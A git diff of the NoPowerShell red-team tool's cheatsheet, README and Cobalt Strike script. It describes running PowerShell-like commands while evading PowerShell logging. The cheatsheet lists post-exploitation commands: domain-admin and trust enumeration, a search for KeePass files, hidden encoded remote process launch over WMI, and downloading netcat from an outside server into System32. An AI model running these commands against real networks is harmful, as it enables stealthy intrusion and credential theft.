diff --git a/CHEATSHEET.md b/CHEATSHEET.md index e5f3aca..e9292e7 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -1,70 +1,152 @@ -# Cheatsheet -Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. - -| Action | Command | Notes | -| - | - | - | -| List all commands supported by NoPowerShell | `Get-Command` | | -| Get help for a command | `Get-Help -Name Get-Process` | Alternative: `man ps` | -| Show current user | `whoami` | Unofficial command | -| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | Unofficial command | -| List all user groups in domain | `Get-ADGroup -Filter *` | | -| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | | -| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | | -| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | | -| List all users in domain | `Get-ADUser -Filter *` | | -| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | | -| Show information about the current system | `Get-ComputerInfo` | | -| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | | -| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | | -| List all local groups | `Get-LocalGroup` | | -| List details of a specific group | `Get-LocalGroup Administrators` | | -| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | | -| List all local users | `Get-LocalUser` | | -| List details of a specific user | `Get-LocalUser Administrator` | | -| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | -| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | | -| List all computers in domain | `Get-ADComputer -Filter *` | | -| List specific attributes of user | `Get-ADComputer DC01 -Properties Name,operatingSystem` | | -| Copy file from one location to another | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | | -| Locate KeePass files in the C:\Users\ directory | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | | -| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | | -| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | | -| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | | -| List processes | `Get-Process` | | -| List processes on remote host | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | | -| Kill process | `Stop-Process -Force -Id 4512` | | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters | -| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | -| Launch process using WMI | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | This can also be done on a remote system | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | | -| Show all network interfaces | `Get-NetIPAddress -All` | | -| Show the IP routing table | `Get-NetRoute` | | -| List ARP cache | `Get-NetNeighbor` | Alternative: `arp` | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | | -| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com` | | -| Check for open port | `tnc bitsadm.in -Port 80` | | -| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | | -| Format output as a list | `Get-LocalUser \| fl` | | -| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | | -| Format output as a table | `Get-Process \| ft` | | -| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | | -| Download file from the Internet | `wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) | -| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | | -| Count number of results | `Get-Process \| measure` | | -| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | | -| Show only the Name in a file listing | `ls C:\ \| select Name` | | -| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | | -| List all members of the "Domain Admins" group | `Get-ADGroupMember "Domain Admins"` | | -| Resolve domain name | `Resolve-DnsName microsoft.com` | Alternatives: `host linux.org`, `Resolve-DnsName -Type MX pm.me` | -| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | Alternative: `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | -| Show network interfaces | `Get-NetIPAddress` | Alternatives: `ipconfig`, `ifconfig` | -| Show computer information | `Get-ComputerInfo` | Alternative: `systeminfo` | -| List installed hotfixes | `Get-HotFix` | The output of this cmdlet together with the output of the `Get-ComputerInfo` cmdlet can be provided to [WES-NG](https://github.com/bitsadmin/wesng/) to determine missing patches | -| List local drives | `Get-PSDrive` | | -| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | Only available when compiled against .NET 4.5+ | -| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | Alternative: `unzip C:\MyArchive.zip`. Only available when compiled against .NET 4.5+ | +# Cheatsheet +Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. + +| Action | Command | +| - | - | +| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | +| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | +| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | +| List trusts | `Get-ADTrust` | +| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | +| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | +| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | +| List all user groups in domain | `Get-ADGroup -Filter *` | +| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | +| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | +| List all members of the "Domain Admins" group - Alternative | `Get-ADGroupMember "Domain Admins"` | +| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | +| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | +| List all computers in domain | `Get-ADComputer -Filter *` | +| List domain controllers | `Get-ADComputer -searchBase "OU=Domain Controllers,DC=bitsadmin,DC=local" -Filter *` | +| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | +| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | +| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | +| List all users in domain | `Get-ADUser -Filter *` | +| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | +| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | +| Show the current user | `whoami` | +| Query sessions on local machine | `Get-WinStation` | +| Query sessions on a remote machine | `Get-WinStation -Server DC01.domain.local` | +| Query sessions on a remote machine - Alternative | `qwinsta DC01.domain.local` | +| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | +| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | +| Extract zip - Alternative | `unzip C:\MyArchive.zip C:\Extracted` | +| Extract zip into current directory | `unzip C:\MyArchive.zip` | +| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | +| Compress folder to zip - Alternative | `zip C:\MyFolder C:\MyFolder.zip` | +| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | +| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | +| Get help for a command | `Get-Help -Name Get-Process` | +| Get help for a command - Alternative | `man ps` | +| List all commands supported by NoPowerShell | `Get-Command` | +| List commands of a certain module | `Get-Command -Module ActiveDirectory` | +| Resolve domain name | `Resolve-DnsName microsoft.com` | +| Resolve domain name - Alternative | `host linux.org` | +| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | +| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | +| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | +| List all local groups | `Get-LocalGroup` | +| List details of a specific group | `Get-LocalGroup Administrators` | +| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | +| List members of Administrators group on a remote computer using WMI - Alternative | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | +| List all local users | `Get-LocalUser` | +| List details of a specific user | `Get-LocalUser -Name Administrator` | +| List details of a specific user - Alternative | `Get-LocalUser Administrator` | +| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | +| List details of a specific user on a remote machine using WMI - Alternative | `Get-LocalUser -ComputerName MyServer Administrator` | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy file from one location to another - Alternative | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | +| Kill process | `Stop-Process -Force -Id 4512` | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | +| List processes | `Get-Process` | +| List processes - Alternative | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | +| List processes on remote host using WMI - Alternative | `ps -ComputerName dc01.corp.local` | +| List drives | `Get-PSDrive` | +| List drives - Alternative | `gdr` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Launch process on remote system - Alternative | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | +| View contents of a file - Alternative | `cat C:\Windows\WindowsUpdate.log` | +| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | +| Locate KeePass files in the C:\Users\ directory - Alternative | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | +| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | +| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.cmd,*.bat,*.ps1,*.psm1,*.psd1` | +| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | +| List local shares - Alternative | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output - Alternative | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | +| Get all hotfixes on the local computer | `Get-HotFix` | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| Get all hotfixes from a remote computer using WMI - Alternative | `Get-HotFix -ComputerName MyServer` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | +| Delete a file - Alternative | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | +| Put string on clipboard | `Set-Clipboard -Value "You have been PWNED!"` | +| Put string on clipboard - Alternative | `scb "You have been PWNED!"` | +| Clear the clipboard | `Set-Clipboard` | +| Place output of command on clipboard | `Get-Process \| Set-Clipboard` | +| Show current user's PATH variable | `Get-ItemPropertyValue -Path HKCU:\Environment -Name Path` | +| Show current user's PATH variable - Alternative | `gpv HKCU:\Environment Path` | +| Show information about the system | `Get-ComputerInfo` | +| Show information about the system - Alternative | `systeminfo` | +| Show information about the system not listing patches | `systeminfo -Simple` | +| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show information about a remote machine using WMI - Alternative | `Get-ComputerInfo -ComputerName MyServer` | +| Show text contents of clipboard | `Get-Clipboard` | +| Show text contents of clipboard - Alternative | `gcb` | +| List cached DNS entries on the local computer | `Get-DnsClientCache` | +| List cached DNS entries from a remote computer using WMI | `Get-DnsClientCache -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | +| List cached DNS entries from a remote computer using WMI - Alternative | `Get-DnsClientCache -ComputerName MyServer` | +| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | +| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | +| Send ICMP request to host - Alternative | `tnc 1.1.1.1` | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | +| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | +| Check for open port | `tnc bitsadm.in -Port 80` | +| Show TCP connections on the local machine | `Get-NetTCPConnection` | +| Show TCP connections on the local machine - Alternative | `netstat` | +| Show TCP connections on a remote machine | `Get-NetTCPConnection -ComputerName MyServer` | +| List ARP table entries | `Get-NetNeighbor` | +| List ARP table entries - Alternative | `arp` | +| Show the IP routing table | `Get-NetRoute` | +| Show the IP routing table - Alternative | `route` | +| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show the IP routing table on a remote machine using WMI - Alternative | `route -ComputerName MyServer` | +| Show network interfaces | `Get-NetIPAddress` | +| Show network interfaces - Alternative | `ipconfig` | +| Show network interfaces - Alternative | `ifconfig` | +| Show all network interfaces | `Get-NetIPAddress -All` | +| Show all network interfaces - Alternative | `ipconfig -All` | +| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | +| Show all network interfaces on a remote machine using WMI - Alternative | `Get-NetIPAddress -All -ComputerName MyServer` | +| List SMB shares on the computer | `Get-SmbShare` | +| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | +| List network shares on the local machine that are exposed to the network - Alternative | `netuse` | +| Echo string to the console | `Write-Output "Hello World!"` | +| Echo string to the console - Alternative | `echo "Hello World!"` | +| Echo string to the console | `echo "Hello Console!"` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string | `Write-Output "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | +| Create file hello.txt on the C: drive containing the "Hello World!" ASCII string - Alternative | `echo "Hello World!" \| Out-File -Encoding ASCII C:\hello.txt` | +| Count number of results | `Get-Process \| Measure-Object` | +| Count number of results - Alternative | `Get-Process \| measure` | +| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | +| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | +| Download file from the Internet - Alternative | `wget http://myserver.me/nc.exe` | +| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | +| Show only the Name in a file listing | `ls C:\ \| select Name` | +| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | +| Sort processes by name descending | `ps \| sort -d name` | +| Format output as a table | `Get-Process \| Format-Table` | +| Format output as a table - Alternative | `Get-Process \| ft` | +| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | +| Format output as a list | `Get-LocalUser \| Format-List` | +| Format output as a list - Alternative | `Get-LocalUser \| fl` | +| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | +| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0d78113..85d2084 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,40 +1,40 @@ -# Contributing - -Add your own cmdlets by submitting a pull request. -## Aim -- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems -- In case for whatever reason .NET 2.0 compatibility is not possible, add the `#if` preprocessor directive to the class specifying the unsupported .NET versions (for examples check the `*-Archive` cmdlets) - -## Instructions -Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. - -### Example usages -| Action | Command | -| - | - | -| Simply run with default values | `gtc` | -| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | -| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | -| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | -| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | -| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | -| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | - -Execute the following steps to implement your own cmdlet: -1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/ - * In the installer select the **.NET desktop development** component. - * From this component no optional modules are required for developing NoPowerShell modules. -2. Make sure to have the .NET 2 framework installed: `OptionalFeatures.exe` -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'. -3. Clone this repository and create a copy of the **TemplateCommand.cs** file. - * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. - * Moreover, use the name of the _Source_ attribute in the command's namespace. - * Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder and use `NoPowerShell.Commands.Management` namespace. - * In case it is a non-native command, place it in the **Additional** folder and use the `NoPowerShell.Commands.Additional` namespace. -4. Update the `TemplateCommand` classname and its constructor name. -5. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` -6. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. -7. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. -8. In the Execute function: - 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; - 2. Based on the parameters provided by the user, perform your actions; - 3. Make sure all results are stored in the `_results` variable. +# Contributing + +Add your own cmdlets by submitting a pull request. +## Aim +- Maintain .NET 2.0 compatibility in order to support the broadest range of operating systems +- In case for whatever reason .NET 2.0 compatibility is not possible, add the `#if` preprocessor directive to the class specifying the unsupported .NET versions (for examples check the `*-Archive` cmdlets) + +## Instructions +Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`. + +### Example usages +| Action | Command | +| - | - | +| Simply run with default values | `gtc` | +| Run with the -MyFlag parameter which executes the 'else' statement | `gtc -MyFlag` | +| Run with the -MyInteger parameter which changes the number of iterations from its default number of 5 iterations to whatever number is provided | `gtc -MyInteger 10` | +| Run with the -MyString parameter which changes the text that is printed from its default value of 'Hello World' to whatever string is provided | `gtc -MyString "Bye PowerShell"` | +| Combination of parameters | `gtc -MyInteger 10 -MyString "Bye PowerShell"` | +| Combination of parameters - Using fact that MyString is the only mandatory parameter for this command | `gtc -MyInteger 10 "Bye PowerShell"` | +| Command in combination with a couple of data manipulators in the pipe | `gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl` | + +Execute the following steps to implement your own cmdlet: +1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/ + * In the installer select the **.NET desktop development** component. + * From this component no optional modules are required for developing NoPowerShell modules. +2. Make sure to have the .NET 2 framework installed: `OptionalFeatures.exe` -> '.NET Framework 3.5 (includes .NET 2.0 and 3.0)'. +3. Clone this repository and create a copy of the **TemplateCommand.cs** file. + * In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. + * Moreover, use the name of the _Source_ attribute in the command's namespace. + * Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder and use `NoPowerShell.Commands.Management` namespace. + * In case it is a non-native command, place it in the **Additional** folder and use the `NoPowerShell.Commands.Additional` namespace. +4. Update the `TemplateCommand` classname and its constructor name. +5. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps` +6. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help. +7. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable. +8. In the Execute function: + 1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples; + 2. Based on the parameters provided by the user, perform your actions; + 3. Make sure all results are stored in the `_results` variable. 9. Remove all of the template sample code and comments from the file to keep the source tidy. \ No newline at end of file diff --git a/NoPowerShell.cna b/NoPowerShell.cna index 50ac975..06a161d 100644 --- a/NoPowerShell.cna +++ b/NoPowerShell.cna @@ -8,7 +8,7 @@ # https://github.com/bitsadmin # -$binary = "scripts/NoPowerShell.exe"; +$binary = "NoPowerShell.exe"; $help = "Execute a command via the reflective NoPowerShell commandline"; beacon_command_register("nps", $help, "Use: nps [command]\n\n$help"); diff --git a/README.md b/README.md index 54d8d74..e6d6964 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # NoPowerShell -NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe: `rundll32 NoPowerShell.dll,main`. +NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms. This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. No `System.Management.Automation.dll` is used; only native .NET libraries. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe in a restricted environment: `rundll32 NoPowerShell.dll,main`. This project makes it easy for everyone to extend its functionality using only a few lines of C# code. For more info, see [CONTRIBUTING.md](https://github.com/bitsadmin/nopowershell/blob/master/CONTRIBUTING.md). @@ -14,23 +14,35 @@ Latest binaries available from the [Releases](https://github.com/bitsadmin/nopow ![NoPowerShellDll via rundll32](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/NoPowerShellDll.png "NoPowerShellDll via rundll32") # Why NoPowerShell -NoPowerShell is developed to be used with the `execute-assembly` command of Cobalt Strike. +NoPowerShell is developed to be used with the `execute-assembly` command of Cobalt Strike or in a restricted environment using `rundll32`. Reasons to use NoPowerShell: - Executes pretty stealthy - Powerful functionality - Provides the cmdlets you are already familiar with in PowerShell, so no need to learn yet another tool -- If you are not yet very familiar with PowerShell, the cmd.exe aliases are available as well (i.e. `ping` instead of `Test-NetConnection`) -- In case via `powerpick` or `powershell` cmdlets are not available, they _are_ available in `nps` (i.e. cmdlets from the ActiveDirectory module) +- If you are not yet very familiar with PowerShell, the cmd.exe aliases are available as well (e.g. `ping` instead of `Test-NetConnection`) +- In case via `powerpick` or `powershell` cmdlets are not available, they _are_ available in `nps` (e.g. cmdlets from the ActiveDirectory module) - Easily extensible with only a few lines of C# # Usage ## Examples See [CHEATSHEET.md](https://github.com/bitsadmin/nopowershell/blob/master/CHEATSHEET.md). -## Install in Cobalt Strike -1. Copy both `NoPowerShell.exe` and `NoPowerShell.cna` to the **scripts** subfolder of Cobalt Strike -2. Launch Cobalt Strike and load the `NoPowerShell.cna` script in the Script Manager -3. Interact with a beacon and execute commands using the `nps` command +## Use in Cobalt Strike via execute-assembly +Use Cobalt Strike's `execute-assembly` command to launch the `NoPowerShell.exe`. For example `execute-assembly /path/to/NoPowerShell.exe Get-Command`. +Optionally `NoPowerShell.cna` can be used to add the `nps` alias to Cobalt Strike. + +## Use in Cobalt Strike via BOF.NET +1. Install the BOF.NET BOF from https://github.com/CCob/BOF.NET +2. Load the BOF.NET runtime: `bofnet_init` +3. Load the NoPowerShell module: `bofnet_load /path/to/NoPowerShell.dll` +4. Execute NoPowerShell cmdlets: `bofnet_execute NoPowerShell.Program Get-Command` + +## Use in Cobalt Strike using @williamknows fork of BOF.NET +This fork allows running regular .NET executables +1. Obtain and compile @williamknows' fork of the BOF.NET from https://github.com/CCob/BOF.NET +2. Load the BOF.NET runtime: `bofnet_init` +3. Load the NoPowerShell module: `bofnet_load /path/to/NoPowerShell.exe` +4. Execute NoPowerShell cmdlets: `bofnet_executeassembly NoPowerShell Get-Command` ## Launch via rundll32 1. Create a new shortcut to `NoPowerShell.dll` file (drag using right click -> Create shortcuts here) @@ -39,32 +51,32 @@ See [CHEATSHEET.md](https://github.com/bitsadmin/nopowershell/blob/master/CHEATS 4. Double click the shortcut ## Note -When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.: +When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), e.g.: - cmd.exe: `ls ^| select Name` - PowerShell: ```ls `| select Name``` # Known issues -- Pipeline characters need to surrounded by spaces +- Pipeline characters need to be surrounded by spaces - TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error # Improvements - Fix above issues - Improve stability by adding exception handling - Support for parameter groups -- Add support for ArrayArgument parameter -- Add support for .NET code in commandline, i.e.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` +- Add support for .NET code in commandline, e.g.: `[System.Security.Principal.WindowsIdentity]::GetCurrent().Name` # Requested NoPowerShell cmdlets | Cmdlet | Description | | - | - | -| Get-ADTrusts | Unofficial command showing equivalent of `nltest /domain_trusts /all_trusts /v` | -| Get-QWinsta | Unofficial command showing equivalent of `qwinsta` / `query session` | | Invoke-Command | Using PSRemoting execute a command on a remote machine (which in that case will of course be logged) | | Get-Service | Include option to also show service paths like in `sc qc` | -| * | Sysinternals utilities like `pipelist` and `sdelete` | | * | More \*-Item\* commands | +| Search-ADAccount | | +| Get-ADPrincipalGroupMembership | | +| Get-ADOrganizationalUnits | | | * | More commands from the `ActiveDirectory` PowerShell module | +| * | Sysinternals utilities like `pipelist` and `sdelete` | # Contributed NoPowerShell cmdlets Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit! @@ -74,45 +86,60 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove | | | | | | # Included NoPowerShell cmdlets -| Cmdlet | Category | Notes | +| Cmdlet | Module | Notes | | - | - | - | | Get-ADGroup | ActiveDirectory | | | Get-ADGroupMember | ActiveDirectory | | -| Get-ADUser | ActiveDirectory | | | Get-ADComputer | ActiveDirectory | | -| Compress-Archive | Archive | Requires .NET 4.5+ | -| Expand-Archive | Archive | Requires .NET 4.5+ | -| Get-Whoami | Additional | whoami.exe 